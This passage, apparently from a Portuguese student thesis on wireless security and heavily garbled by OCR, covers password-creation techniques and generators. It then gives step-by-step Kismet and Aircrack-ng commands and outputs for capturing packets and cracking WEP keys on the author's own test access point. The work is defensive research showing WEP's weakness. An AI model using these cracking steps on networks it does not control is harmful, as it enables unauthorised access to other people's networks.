pessoas que ja formam suas senhas utilizando essa técnica hd anos. A criacdao € bem simples,
basta olhar para o teclado e imaginar uma forma geométrica qualquer, sempre evitando linhas
retas, e apertar as teclas que equivalem as linhas da figura. Varias formas podem ser criadas,
isso s6 depende da criatividade do usudrio (tridngulos, letras em tamanho grande,
ziguezagues).

Porém deve-se tomar muito cuidado para que ninguém saiba que sua senha estd
baseada nessa técnica, pois por meio de vdrias tentativas ela podera ser desvendada, o cuidado

na hora da digitacdo é fundamental.

6.3.2 Senhas Pronunciaveis

As senhas pronuncidveis sdo palavras escritas com a mistura de vogais e
consoantes, criando uma palavra que possa ser pronunciada, mas que ndo existe em nenhum
diciondrio. Também pode-se misturar as letras com nimeros e caracteres especiais, como

“T3m1@viaono@r!”
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Virias chaves podem ser formadas, a indicacdo é que sejam grandes para que
sejam resistentes a ataques de forca bruta, e que realmente nao existam para que nao possam

ser desvendadas por ataques de diciondrio.

6.3.3 Senhas Derivadas de Frases

Essa técnica constréi senhas por meio de frases conhecidas, ou textos que podem
ser lembrados de forma facil, como uma poesia ou em trecho de uma musica famosa. A senha
¢ formada por meio de alguma letra de cada palavra, como por exemplo, “Debaixo dos
carac6is dos seus cabelos, Uma histéria pra contar, De um mundo tdo distante.”, ficaria
“Ddcdsc,Uhpc,Dumtd.”. Neste caso a conservacdo das virgulas e pontos dificultam ainda
mais a quebra das senhas.

A vantagem desta técnica € que senhas bem diferentes sdo criadas, podendo ser

extensas e lembradas facilmente.

6.3.4 Palavras em Conjunto

2z

Esse tipo de senha € criada a partir da jungdo de palavras existentes, como
“cachorro+jeep+passarinho”, gerando a seguinte senha, “cachojeessarinho”, ou outras
combinacdes que sejam faceis de lembrar. Misturar letras maidsculas e mintdsculas, nimeros e

caracteres especais também € uma opg¢ao valida.

6.3.5 Chaves Significativas

Como foi dito anteriormente uma chave ndo deve ser composta por datas nem

nimeros que estejam diretamente ligadas ao usudrio, mas alguma data ou combinacdo de
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nimeros que seja significante e nao foi divulgada em nenhum momento nem estd
documentada em nenhum lugar pode ser utilizada, desde que alcance um nimero razoavel de
caracteres, por exemplo, a data em que comprou seu primeiro carro, ficaria
“01101999carro1”, lembrando que informacdes sobre a data podem ser acrescentadas a senha

para que aumentar ainda mais a relevancia.

6.3.6 Caracteres “ALT”

Senhas fortes podem ser criadas com o auxilio de caracteres criados pressionando
a tecla “ALT” juntamente com uma outra tecla, como por exemplo, pressionando a tecla
“ALT” junto com a tecla “c” obtemos o caractere “©”.

Esses caracteres podem tornar uma senha bem mais complexa, j4 que a maioria
dos softwares responsdveis por realizar quebra de senhas nao se preocupa muito com esses
caracteres, geralmente estdo preparados para realizar quebras que incluem letras, nimeros e

caracteres especiais que estdo amostra no teclado.

6.3.7 Senhas Geradas por Programas

Buscando auxiliar os usudrios na criacdo de senhas seguras, varios softwares
foram desenvolvidos para gerar senhas de forma aleatéria, a desvantagem deste tipo de
software é que as senhas geradas ndo tem nenhuma ligacdo com o usudrio podendo ser
esquecidas facilmente.

Alguns programas serdo listados abaixo:

a) MakePassword: este gerador de senhas pode ser acessado no link

“http://maord.com/”, e disponibiliza algumas preferéncias, como, tamanho da
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senha, quantidade de senhas geradas, quais caracteres utilizados, caracteres que
nao devem ser utilizados, intensidade da senha e forma da exibi¢do da senha.

Imagens do gerador sendo utilizado podem ser vistas na Figura 18 e 19;

COne of the easiest online password generators which can generate a single
random password or lists of hundreds of random passwords., You choose the
character sets, password length and the quantity to create. Hash values can
also be created for your convenience. This password generator is useful for
getting a random password for personal use or for generating large lists of
default passwords,

Ads by Google Password Password Doc WWEP Crestor Hex Creator Baixaki

Password Lenath: FIQ {4 - 64 chars)
Quantity: E {2500 max)

Characters to Use

¥ Lower Case Characters {e.q. 3
=l Upper Case Characters {(e.g. 3
F Numbers {e.q. 3

= Symbols {e.g. 3

Create type-safe passwords
¥ Exclude1,i, 1,0,0, o, 1
Prowvide hash values

I sHa1 [0 mps
7 include Random Salt { 3

Password Strength

¥ Include Password Strength { h]

How to present results
® wehbhpage ' cs¥ File T Plain Text File

Make F'assword[s}l

Ads by Google PST Password Password Key DB Password App Password %BA Password

Figura 18. MakePassword gerando senha

Your passwords have been prepared below.

Mow you can copy and paste the created passwords for your use, If multiple
passwords have been created simply select the entire list of generate passwords
and copy / paste. Multiple passwords can be created in a CSY or text file to
make importing them into another application or database easy.

Flaase kaap in mind that ne passwords are kept or maintained by Maord.com

Your password({s) have been created below.

Fire I AD Reset Password Data Export & Import Tool

SMS Free, Secure One Time Web Based Active Directory Bulk  Easy and Fastestway to [oad data
Passwords Costeffective User Password Reset &AD toffrom C2Y files & Databases
Authentication! Wanagernent W vkt com

wew F e 10 com WK AN R 0] i £oin Ads by C:OOgIE

password(s), Password Strength

SwWipgl!z+9F, 100
ulptZD-543M@, 100

Figura 19. Senhas geradas pelo MakePassoword
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b) Atory Password Generator: esse software gera senhas aleatérias, de acordo com

a preferéncia do usudrio, com a inclusio de nuimeros, letras maidsculas,

mindsculas, e outros simbolos, e especificando a quantidade de caracteres.

A Figura 20 mostra o Atory Password Generator em execucao;

Atury Pazsword Generator M= E |

—Password Symbols
¥ Mumbers
v Uppercase symbaols
¥ Lowercase symbols

¥ Other symbals

Generate Password

Close

Wit S0Py, SO

¥ Auto Copy to Cliphoard

Faszsword length 10

= Copy ta Cliphoard

Password: |2 sAczUxaLy

Figura 20. Gerando senhas com o Atory Password Generator

c) XPassGen 0.5: este € um dos geradores com mais opcdes, permitindo que

sejam escolhidos caracteres entre maidsculos, mindsculos, nimeros, simbolos,

caracteres que ndo devem ser utilizados, e entre incluir e excluir caracteres

personalizados, também podem ser selecionados o nimero de caracteres, a

quantidade de senhas, e a intensidade. O software em execugdo pode ser visto na

-]
v
-
=
=
=
—
=

Figura 21;

“FassGen 0.5

Lowercase |abedefghijkimnoparstuywsyz Minimum Length |16 =]
Uppercase | 2B COEFGHIIK LMNOPORST Maximum Length |J.E- ;l
Mumbers [0123456729 Password Count |10 =]
Symbols [l@aswa~=-+= Passzword Stremgth [].IIIEI ﬂ
Excludea Similar | 10000 Generators o =]
Include Custam | . .

Exclude Custom | ™ cClear Clipboard on Exit

Reset Character Settings

[ Remember Window Position
I~ Save Settings on Exit

Click Here to Generate Passwords

SelesE el | =IEEESEl e

| (ot 30 oot e 5 o e o | Cave e FilE

Figura 21. Estabelecendo parametros para geragcdo de senhas no XPassGen 0.5
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Seguindo as especificacdes feitas acima a senha pode ser gerada como mostra a

Figura 22.

Bl %PassGien 0.5

Click Here to Generate Passwords

Edit: Password Settings [T Sawe Seffings on Exit

Logdy0sksdenlppou
9l1z2&3celeypiysal
fndZckgoibeTybeb
Jstgeci9Thizarih
Teippetdzicidzgd
bpdZtyofedbghia?
cr8jipvbaymoght
rrhin3ihrpydel 3n
ezrandgridgylzie
Tawoy Ohoredzusng

Select All Delete Selected Copy ta Clipbaard

Save to File

Figura 22. Chaves geradas pelo XPassGen 0

5

d) SoftFuse Password Generator Free 2.1: da mesma forma que os softwares

anteriores, este gerador também forma chaves seguindo algumas preferéncias do

usudrio, a Figura 23 mostra o programa em execucao.

B SoftFuse Password Generator Free 2.1 1 =]

File Options Pazsword: “iew Help

SRR A N NS A NN

Generate Single Password

Length: Wﬂ

Character 5et

Paszword: Imc:’/oE-'-‘«NuE<ﬂ %

W Upper Caze Letters [4..2)
I Lower Caze Letters [a..z)
W Mumbers [0..9]

¥ Special Characters [#..%)

™ Custom Characters

Lo

Single password has been generated

Figura 23. SoftFuse Password Generator Free 2.1 em execugdo
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6.3.8 Complexidade das Senhas

Alguns programas foram criados para auxiliar o usudrio na selecdo das suas
senhas, 0o PASSWORD METER ¢é um deles, ele é capaz de classificar a sua senha conforme a
intensidade durante a digitacao.

A for¢ca da senha € avaliada de acordo com cada caractere agrupado
instantaneamente apods a digita¢do, fornecendo também uma dica para que a senha possa ser
melhorada, tendo uma atengdo para evitar senhas criadas por vicios de digitacao.

Esse programa nao tem um resultado infalivel, j& que nao existe uma senha
completamente segura, mas visa melhorar o desempenho da seguranca por meio da chave

escolhida. A Figura 24 mostra o PASSWORD METER em execucao.

Test Your Password Mininaum Requirements

Passvrord: # Minimum 2 characters in length

= Contains 3/4 of the following items:
Hide: I_ - Uppercase Letters
. - Lowercase Lettars
Score: [T | - Mongbees

Complexity: - Symbaols

Count Bonus

@ | Murmber of Characters Flat +{mkg) m + 32
@ | Uppercase Letters CondfIncr | +{{len-nlt2) + 14
@ | Lowercase Letters CandfIncr| +{len-rl*2) _ + 12
@ | Mumbers Cond +{r¥E) _ ]
@ | sumbals Flat +{R*E) _ + 18
@ [ Middle Mumbers or Symbaols Flat +(m*2) + 8
@ | Requirements Flat +r¥2) _

& | Letters <y Flat -n _ 0
@ | Mumbers Cnly Flat -n _ 0
@ |Repeat Characters (Caze Insensitive) Comp - _ o
@ | Consecutive Lppercase Lettars Flat —(Ez) _ o
@ | Consecutive Lowercase Letters Flat -fr*2) _ o
@ | Conzecutive Mumbers Flat -frEz) _ o
@ | Sequential Letters [(5+) Flat -fr¥3) _ [}
@ | Sequential Mumbers (2+) Flat -fr*3) _ o
@ | Sequential Symbolz (2+) _ o

@ Exceptional: Exceeds minimum standards, Additional bonuzes are applied.
@Suf‘ﬁcient: Meets minimum standards, Additional banuses are applied.

() wraming: Advisary against emploving bad practices, Querall scare is reduced.
€ Failure: Does not meet the minimum standards, COwerall score is reduced,

Figura 24. PASSWORD METER fazendo andlise da senha escolhida
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Na Figura 24 pode-se observar a andlise da senha inserida que € “An@p3ul&”,
onde o resultado € de uma senha é excelente. Ja na Figura 25 o resultado nao foi positivo, o

software avaliou a senha “l1w3aa@” com apenas 42% de seguranca.

Test Your Password Minimum Requirements

Password: |1 w3sa@ # Minimurm 8 characters in length
» Contains 3/4 of the following items:

Hide: O - Uppercase Letters

Score: 4250 - Lowercase Letters
- Mumbers
Complexity: [ el - Symbols

Additions

umber o aracters a +(n

€ | Mumber of Charact Flat {r*e)
ppercase Letters ond/Incr | +{{fen-n

&S|\ u Lett Cond/1 ((fen-n)*2)
owercase Letters ond/Incr | +{{fen-n

@ L Lett Cond/1 {(fen-n)*2)
umbers on +in

@ | Murnb Cond in*d)

@ | symbols Flat +in*s)

@ | Middle Numbers or Symbals Flat +in*z)

& | Requirements Flat +in*z)

Deductions

@ | Letters Only Flat -n
@ |Mumbers Only Flat -n
(1) | Repeat Characters (Case Insensitive) Comp -
@ | Consecutive Uppercase Letters Flat -(n*z)
(1) | Consecutive Lowercase Letters Flat -(n*z)
@ | Consecutive Numbers Flat -(n*z)
@ | sequential Letters (3+) Flat -(n*3)
& | Sequential Numbers (34 Flat -(r*3)
@ | Sequential Symbols (3+) Flat (3]

Figura 25. PASSWORD METER fazendo anélise da senha escolhida

Com a andlise da senha algumas melhorias foram indicadas para alcancar um
nivel maior de seguranca, neste caso sdo indicadas as utilizacdes de mais caracteres,
utilizando letras maitdsculas, e separando as mintsculas digitadas em seqiiéncia.

Este  analisador de senhas pode ser acessado no  endereco
“http://www.passwordmeter.com/”, € um programa gratuito que pode ajudar muito na escolha

de uma senha forte.
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6.4 DETECTANDO AS REDES COM O KISMET

O Kismet € uma ferramenta de monitoramento de redes com cardter passivo, que
pode ser utilizada para ataque ou para defesa. E considerada uma das ferramentas mais
completas e eficazes das disponiveis gratuitamente. Pode ser utilizada em sistemas
operacionais Linux e Windows.

Sua instalagdo no Linux Ubuntu pode ser realizada por meio do comando inserido
no terminal “apt-get install Kismet” ou pelo Synaptic, que ja traz todos os pacotes necessarios
para uma execugao com sucesso.

Ap6s realizada a instalagdo o primeiro passo a ser dado € entrar no arquivo de
configuracdo do Kismet e alterar os dados relacionados a placa de rede e driver utilizado por
ela. O caminho do pacote a ser alterado € “/etc/Kismet/Kismet.conf”, ele deve ser acessado
via terminal no modo super usudrio (root).

Com o arquivo ja aberto deve-se substituir a linha que contém a seguinte
informacao, “source = none, none, addme”, por source = driver da placa de rede, a interface
utilizada, e o apelido escolhido para identificar a placa durante a varedura. Neste caso a linha
ficard com as seguintes informacdes, source = rt8180, wlan0, atheros.

Para que o Kismet possa ser executado sua placa deve estar em modo monitor,
para isso deve-se utilizar o terminal e inserir os seguintes c6digos:

a) ifconfig <nome da interface> down;

b) iwconfig <nome da interface> mode monitor.

E para utilizar a interface apds encerrar o Kismet deve-se utilizar o seguinte
codigo:

a) ifconfig <nome da interface> down;

b) iwconfig <nome da interface> mode manager;
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¢) ifconfig <nome da interface> up.
A execugdo do Kismet é realizada por meio do terminal no modo super usudrio

(root), inserindo o cédigo Kismet, em seguida uma janela abrird como mostra a Figura 26.

Arquivo Editar Wer Terminal Ajuda
Network List — (Autofit)
Name Packts Flags IP Range
! <no ssid> 184 T4 88.208.209.208
I tcc e.0.0.0
! Netvale_Centrol T4 72.29.66.79

Welcome to Kis
Kismet-Client 2 .R1 build 15211952

s frontend.
- all displays, press 'h' at any time

be turned off by editing the kismet ui.conf file.

continue.

Figura 26. Tela inicial do Kismet

A captura dos pacotes comega automaticamente apds a execug¢do do programa, a
partir deste momento podem ser observados algumas informagdes importantes sobre a rede,
como, nome da rede, canal, se existe seguranga habilitada e o nimero de pacotes capturados.

Os pacotes capturados sdo salvos com a data do dia da captura e seguidos pelo
nimero do pacote que é gerado na seqiiéncia iniciando em 1 a cada dia, sua extensao é .dump,
por exemplo, “Kismet-may-05-2010-2.dump”, e se preservada a configuragao inicial podem
ser encontrados na pasta “/var/log/Kismet”.

Para que uma rede com seguranca WEP ou WPA seja invadida é necessario que
sua senha seja descoberta, para que isso aconteca utilizando os pacotes capturados pelo
Kismet é necessario utilizar um programa que leia esse tipo de arquivo, como o John the
Ripper entre outros.

Uma amostra de quebra de senhas podera ser observado a seguir com a utilizagcdo

do Aircrack-ng e seus componentes.
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6.5 UTILIZANDO O AIRCRACK-NG PARA QUEBRA DE CHAVES

O Aircrack-ng é um do programas mais utilizados para captura e quebra de chaves
por conter um grupo de ferramentas que juntas se completam, tornando mais fécil a execugao
desde a captura até a quebra das senhas. A instalagdo do pacote Aircrack-ng pode ser feita por
meio do terminal com o cédigo “apt-get install Aircrack-ng”, ou pelo Synaptic, das duas
formas a instalacao € feita de forma completa, sem a necessidade de acrescentar mais nenhum

pacote.

6.5.1 Iniciando o Airmon-ng

Ap6s a instalacdo do Aircrack-ng, o primeiro passo é colocar a sua interface em
modo monitor, como mostra a Figura 27, isso pode ser feito com o Airmon-ng, por meio da
insercdo do seguinte cddigo no terminal em modo super usudrio (root).

a) airmon-ng stop <nome da interface>: para assegurar que o0 modo monitor ja nao

esta ativo;

b) airmon-ng start <nome da interface>: para ativar o modo monitor.

L root@testes-laptop: ~
Arquive Editar Mer Terminal Ajuda
root@testes-laptop:~# airmon-ng start wlané -

Found 5 processes that could cause trouble.
If aireodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to Kill (seme of)} them!

PID Name

aza NetworkManager
844 avahi-daemon
242 avahi-daemon
983 wpa_supplicant
2174 dheclient

Process with PID 2174 (dhcliemt) is running om interface wlan@

Interface Chipset Driver

wlang Atheros athak - [phya]
{monitor mode enabled on mon@)

root@testes-laptop:~# D

Figura 27. Airmon-ng ativando o modo monitor
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Este procedimento deve ser repetido sempre antes de executar o Airodump-ng

para garantir o sucesso da captura.

6.5.2 Capturando Pacotes com o Airodump-ng

A captura dos pacotes é realizada com o Airodump-ng, este programa tem
basicamente as mesmas caracteristicas do Kismet, mostrado anteriormente, sua execucao &
feita por meio do terminal, apds colocar a interface em modo monitor, por meio do seguinte
codigo, “airodump-ng --channel 6 — w nomedopacote.cap mon0”, onde “-- channel” filtra a
busca de acordo com o canal, “- w” indica o nome do arquivo e o seu formato e “mon0”

representa o nome da interface.

6.5.3 Quebrando chaves com o Aircrack-ng

O Aircrack-ng é o responsdvel pela leitura dos pacotes capturados, e assim
realizar a quebra das chaves. Também € executado por meio do terminal, apds ser realizado o

seguinte comando, “aircrack-ng nomedopacote*.cap”, onde o “*” ¢ utilizado para agrupar as

capturas realizadas com o0 mesmo nome.

6.6 DESVENDANDO CHAVES WEP, WPA, WPA2 COM AIRCRACK-NG

No decorrer do trabalho foram descritas varias vulnerabilidades, e métodos de
defesa, entre eles serdo analisados a importancia das senhas e a configuracdo dos Access
Points, para isso a intensidade da seguranca que os protocolos WEP e WPA podem nos

proporcionar diante de um ataque realizado pelo Aircrack-ng serd analisada.
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6.6.1 Seguranca com o Protocolo WEP 64 bits

Nesta primeira andlise o protocolo a ser testado serd o WEP de 64 bits. Este
protocolo aceita combinagdes de senhas de apenas cinco caracteres, nestes testes foram
utilizadas trés senhas, uma considerada fraca, contendo apenas nudmeros em seqiiéncia,
iniciando em um, outra composta por letras, niimeros e caracteres especiais e a ultima gerada
por software.

As opc¢des de protocolo e senhas sdo realizadas no AP como mostra a Figura 28.

Configuracao de Chave WEP - Mozilla Firefox

[@] | http://10.1.1.2/wlwep.asp

Configuracao de Chave WEP Wireless

Esta pagina permite vocé configurar o valor da chave WEP. Vocé pode escolher
o uso de 64-bit ou 128-bit como chave de criptografia, e selecionar ASCII ou o
hex como formato do valor da chave.

*4% ATENCAO: Nao esquecer de aplicar suas modificacoes salvas! ***

Tamanho da Chave: 64-bit  ~
Formato da Chave: ASCII (5 characters) ~
Chave Padrao Tx: Chave 1 +
Chave de criptografia 1: (12345 |
Chave de criptografia 2: |MM* |
Chave de criptografia 3: |*MM |
Chave de criptografia 4: |MM* |
Salvar Fechar Restaurar
Concluido

Figura 28. Configurando a chave WEP no AP

Ap6s selecionar nos campos de configuragdo do AP o protocolo WEP de 64 bits,
deve-se inserir a senha para aumentar a seguranca da rede, neste primeiro teste a senha
escolhida foi “12345”. O SSID da rede e o canal utilizado também podem ser escolhidos,

como mostra a Figura 29.



F I.ytec COMPUTERS S A

& Configuragdes Configuracao Basica Wireless
Status Esta pagina ¢ usada configurarar os parametros para os clientes wireless
ol que podem conectar a seu ponto de acesso. Aqui vocé pode mudar os
maneTs parametros da rede wireless.

=

*#% ATENCAO: Nao esquecer de aplicar suas modificacoes salvas! ***
Basico

Avangado

Seguranga | Desativar Interface Wireless
Controle de Acesso
Configuragao WDS Nome do AP: casa
G Banda: 2.4 GHz (B+G) v
Sinal
TCP/P Modo: | AP b-?
Firewall
Controle de Banda Tipo de Rede: nfraestrutura
B Gerenciamento
Upload de Licenca SSID: |tcc
Aplicar as Modificagoes Terail 11 |
Sair
Regiao de Dominio
FCC (1-11) |v
(Canais) : ALl
Clientes Conectados: | Exibir Clientes Ativos
Clonar Enderego Mac do Cliente (Para um cliente conectado
apenas)
| salvar = | Restaurar |

Tlustracdo 29. Configurando a canal e o SSID
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As informacdes da rede como mostra a Figura 30, sdao obtidas com o comando

“iwlist scan” inserido no terminal. Com esse comando informag¢des importantes para captura

dos pacotes podem ser visualizadas.

testes@testes-laptop: ~

Arquivo Editar Ver Terminal Ajuda

testes@testes-laptop:~% iwlist wlan@ scan

wlan@ Scan completed :
Cell 01 - Address: 00:0E:2E:B2:13:86
|Channel:11|

Frequency:2.462 GHz (Channel 11)

Quality=76/70 Signal level=-37 dBm

[Encryption key:on]

[ESSID: "tcc" |

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6
9 Mb/s; 12 Mb/s; 18 Mb/s

Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s

Mode:Master

Extra:tsf=000000000168119b

Extra: Last beacon: 13488ms ago

IE: Unknown: 00883746363

IE: Unknown: 018882848B960C121824

IE: Unknown: 03818B

IE: Unknown: 2A8100

IE: Unknown: 328430848606C

testes@testes-laptop:~$ ||

Mb/s

Figura 30. Informacdes da rede
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Com todas as informagdes necessdrias obtidas, e apds colocar a interface em
modo monitor, a captura é iniciada com o comando “airodump-ng --channel 11 —-w
wepb4fraca.cap mon0”, onde ‘“--channel” seleciona o canal onde a busca deve ser

centralizada, “-w” especifica o nome e a extensdo escolhidos para a captura e “mon0” a

interface. A Figura 31 mostra a captura realizada.

root@testes-laptop: ~ =[O %
Arguive Editar Ver Terminal Ajuda

CH 11 1[ Elapsed: 52 s ][ 2018-85-28 15:22 ][ Decloak: ©8:1E:58:14:9C:B6

BS5ID PWR RX0 Beacons #hata, #/5s CH MB ENC CIPHER AUTH E
00:1E:58:14:9C:B6 -63 1@ 517 234 26 11 54 . WEP WEFP p
BSSID STATION PWR  Rate Lost Packets Probes
B0:1E:58:14:9C:B6 B4:82:FE:53:41:16 a 8 -54 i 15
88:1E:58:14:9C:B6 ©08:1A:73:A6:C4:06 -41 54 -54 a 429

Figura 31. Captura de pacotes WEP 64 bits

Devem ser capturados cerca de 25.000 pacotes para que uma chave WEP de 64
bits possa ser descoberta. O comando “aircrack-ng wep64fraca.cap” inicia o Aircrack-ng que
€ o responsavel pela quebra da chave. Neste caso apds analisar 30.496 1Vs, testando 102

chaves durante 4 segundos foi desvendada a chave como mostra a Figura 32.

root@testes-laptop: ~

Arquive Editar Yer Tepminal Ajuda

Aircrack-ng 1.8

[eB:80:84] Tested 182 keys (got 30496 IVs)

KB depth byte({wvote)

-] ars 1 31(42240) 48(38144) 39(37632) CT7(36864) BT (36608)
1 as 5 32(39168) 16(38408) 91(38144) AD(ITEE88) CO(3T7128)
2 By 1 33(43008) 92(39424) 05(37632) B9(37376) S5B(37128)
3 8y 4 34(489192) 70(37376) S51(37376) 74(37120) 98(35584)
L 4 6 4A(36352) FF{26096) 7D(25584) aD(35328) 2A(35072)

KEY FOUND! [ 31:32:33:34:35 ]|(ASCII: 12345 )
Decrypted correctly: 108%

root@testes-laptop:~# []

Figura 32. Quebra da senha WEP por for¢a bruta
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Observando a facilidade que o Aircrack-ng teve para quebrar uma senha com
apenas caracteres numéricos uma nova tentativa foi realizada, mas agora com uma senha mais
complexa, utilizando caracteres especiais, letras maitsculas e mintsculas e nimeros, mas
como mostra a Figura 33, a senha foi quebrada com a mesma facilidade encontrada na

tentativa anterior, como apenas 4 segundos a chave pode ser desvendada.

krnnt@testeﬁ—laptup: -

Arquivo Editar Mer Terminal Ajuda

Aircrack-ng 1.9

[66:00:04] Tested 463777 keys (got 5678 IVs)

B depth  byteivote)

2] 26/ 38 CB(6656) 23(6400) 3IF{6400) 47(6408) 95(6488)
1 g9/ 18  SA(7168) AB(6912) C1{6912) DB(6912) FF(6912)
2 s 2 EF(6656) 2F(6488) 34(648@) 35(6408) 66(64088)
3 27/ 28 BE(6656) 2C{ed88) 42({6408) 47(6400) 4D(6408)
4 17/ 4 F7(6912) B6({6656) 03(6656) 34(6656) 69(6656)

KEY FOUND! [ 79:4A:25:4D:39 | |(ASCII: yl({M% |
Decrypted correctly: 1ee%

root@testes-laptop:-# |

Figura 33. Quebra da senha WEP com caracteres especiais por forga bruta

Para finalizar os testes com o WEP de 64 bits uma senha foi gerada pelo software
SolftFuse, foram incluidos todos os tipos de caracteres disponibilizados pelo gerador
formando a chave “A@q~2" como pode ser observado na Figura 34. Essa senha obteve um
grau de seguranca de 56%, que € considerado baixo, porém o mais alto alcan¢ado levando em

conta o baixo nimero de caracteres.
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& SoftFuse Password Generator Free 2.1 !E[

File Optione Pazswords  Wiew  Help

H (%[ F =0 H6es
Generate Single Paszword
Length: I Eﬂ

Fazzword: I.-'l‘-.@q”E r%l Generate

Character Set

¥ Upper Case Letters [&.Z) E‘}
¥ Lower Caze Letters [a..2] [Jf}
¥ Mumbers [0..9] go
¥ Special Characters [#..%] .
¥ Custom Characters E‘}

Single pazsword haz been generated

Figura 34. SoftFuse gerando senha com cinco caracteres

O procedimento realizado foi o mesmo das capturas anteriores, e apds o Aircrack-
ng testar 7.048 chaves em quatro segundos a chave pode ser desvendada, como pode ser

observado na Figura 35.

root@testes-laptop: ~ =Nl

Amquivo Editar Ver Terminal Ajuda
Aircrack-ng 1.8 ~

[00:00:04] Tested 7048 keys (got 20960 IVs)

KB depth  byte({vote)

o 3/ 6 56(26368) 3D(25856) 41(25856) 4C(25856) 5D(25856)
1 18/ 16 46(25344) 6C(25344) BA(25088) EO(24832) EE(24832)
2 2y 6 71(279 ) 7F(27392) 1E(26880) EG(26624) 34(26368)
3 8/ 1 7E(33280) 5B(28928) 3A(27136) 85(26624) 56(25856)
4 8/ 13 32(27904) EA(27648) 23(27392) B(26880) 3E(26624)

KEY FOUND! [ 41:48:71:7E:32 ]| (ASCII: A@g~2 )
Decrypted correctly: 180%

Figura 35. Quebra da senha WEP com caracteres especiais por for¢a bruta
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Com esses testes pode ser analisado que a seguranga da chave WEP de 64 bits nao

¢ confidvel, pois mesmo uma senha mais elaborada pode ser desvendada sem dificuldades.

6.6.2 Seguranca com o Protocolo WEP 128 bits

Para esses testes foram realizadas as mesmas etapas dos testes anteriores com as
chaves WEP de 64 bits. Foram criadas duas senhas uma mais fraca construida apenas por uma
seqiiéncia de nimeros, que como vimos anteriormente ndo € um procedimento adequado para
criacdo de senhas, e outra com caracteres especiais, letras e nimeros, sendo que o protocolo
WEP de 128 bits permite combinagdes de 13 caracteres para formacao das senhas. Uma senha
gerada pelo SoftFuse também foi utilizada.

As informagdes da rede sdo observadas na Figura 36, que foi obtida com o uso do

comando “iwlist scan”.

r root@testes-laptop: ~ —|[ollx
Arquivo Editar Ver Terminal Ajuda

wlang Scan completed :
Cell ©1 - Address: ©@:0E:2E:B2:13:86
Channel:11

Frequency:2.462 GHz (Channel 11)

Quality=15/78 Signal level=-95 dBm

Encryption key:on

ESSID:"tcc"

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s

Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s

Mode:Master

Extra:tsf=00000000d0do419b

Extra: Last beacon: 284ms ago

IE: Unknown: 88083746363

IE: Unknown: B18882848B968C121824

IE: Unknown: ©3016B

IE: Unknown: 2A0182

IE: Unknown: 32843848606C

Figura 36. Informacdes da rede obtidas com o comando iwlist scan

Com os dados da rede analisados e a interface em modo monitor a captura pode

ser iniciada com o comando “airodump-ng --channel 11 -w wep128fraca.cap mon0”, sendo
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que para a quebra de senhas WEP de 128 bits é indicado que se capture cerca de 50.000

pacotes. Na Figura 37 a captura dos pacotes pode ser observada.

root@testes-laptop: ~

Arquivo  Editar Mer Terminal Ajuda

CH 11 ][ Elapsed: 56 mins ][ 2019-85-22 17:27 ][ fixed channel mon@: 11

BSSID PWR RX( Beacons #Data, #/s CH MB ENC CIPHER AUTH E
BE:BE:2E:BZ2:13:86 -89 21 11414 42698 13 11 54 WEP WEP OPM  TT
BSSID STATION PUWR Rate Lost Packets Probes L

Q0:QE:2E:B2:13:86 00:1A:73:A6:C4:D6 -45 36 -24 168 37291 tcc

Figura 37. Captura dos pacotes WEP 128 bits

Ap6s a captura realizada em 56 minutos a quebra pode ser iniciada. Por meio do
comando “aircrack-ng wepl28fraca.cap”, sendo que neste teste a senha utilizada € composta
por apenas nimeros em uma seqiiéncia que inicia em 1 e segue até 11 (1234567891011), e

sua quebra pode ser visualizada na Figura 38.

rootEtestes-laptop: -

Arquivo  Editar  Ner Temminal Ajuda

Alrerack-ng 1.8

[DB:30:07] Tested B23447 keys (got 4BBGT IVs)

KB depth  bytelvote] -
] 8/ 1 31(79630) D4(01440) C40365M) 12(53552) 4A[55352]
1 8¢ 1 32(B62464) DO(5BA30) 92(5B624) ZT(56576) Z3(56064)
2 8 1 3365536} BF(59904) B2(5B624) 77{57344) EB|56320)
| a1 462464} 1E(SBIGE) FA(55552) BE|5584&) EB|{55848]
4 @ F  35068168) SA(5%H48) 67(57T684) BE{STRER] CEISTABE]
3 @ 1 Z0(00%68) A6(57344) BAISGSMG) GB(S65TG) B1(54576)
[ 8/ 3 BA(58624) 10(57600) BC(STEEA) DA(STEDE] B3(56576)
7 8 1 3B(65792} D1(61184) AD{S6BE4) DA{55552] E1[55552)
8 @' 1 IO[eS536) DT(S7456) 2{(56864) EI{S5EA8] 2E[55296]
L af 1 31062464) 14058368) GAISERIZ) 31(56328) G3[56326]
18 5/ 1 E3(55290) 1B(55840) FA(S4523) 32{5%4272] 94(54272]
11 8/ 1 GA[58380) 69(56576) B2(55EDE) AA(SS048] FT(55048)
12 2/ % 315704} D3I(55508) 1B(55656) BA{S4E28] TO|54244)

KEY FOUNDI [ 3R1:32:33:34:35:36:37: 30039310 30: 31031 ] |(ASCID: 1234567801411 )

Decrypted correctly: 108%

rootdtestes - laptop:-2 ]

Figura 38. Quebra de senha WEP 128 bits por forca bruta
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A quebra da chave WEP de 128 bits foi realizada com a andlise de 48.076 1Vs,
com o teste de 823.447 chaves em apenas 7 segundos. Para finalizar essa etapa de quebras
serd testada uma chave WEP de 128 bits composta por 13 caracteres contendo caracteres mais

elaborados, formando a senha “An@p@~!?25CI3”.

r root@testes-laptop: ~

Arquive Editar Ver Temminal Ajuda
Alrcrack-ng 1.8

[60:00:10] Tested 148334 keys (got 42481 IVs)

KB depth  byte({vote)
B 8/ 1 41(60416) F1(55552) ©8(58176) AG{50176) 96(49928)
1 8/ 1 BE(63232) BC(52224) 2A(50688) CO({50432) 1D(50176)
r a7y 1 40(56064) LA(50432) 23(50432) 3F(49408) 63(494408)
3 @/ 1 T7o(61696) C2(51712) 8C(50432) DA(S0176) 6B(49408)
4 @f 1 48(58112) FC(51456) 2A(58432) D3(50432) A5(50176)
5 @/ 1 SE(S6@64) AE(51968) 94(51456) AG({49928) DO(49488)
[ @/ 1 Z1(57888) 1D(58432) 36(49920) ©60(49408) 62(49488)
7 @/ 1 3F(37600) C5(55552) 3D(51968) 1B({49664) 83(49152)
8 a5 1 32(57088) AC(51712) OB(51456) F9({50688) 3C(50176)
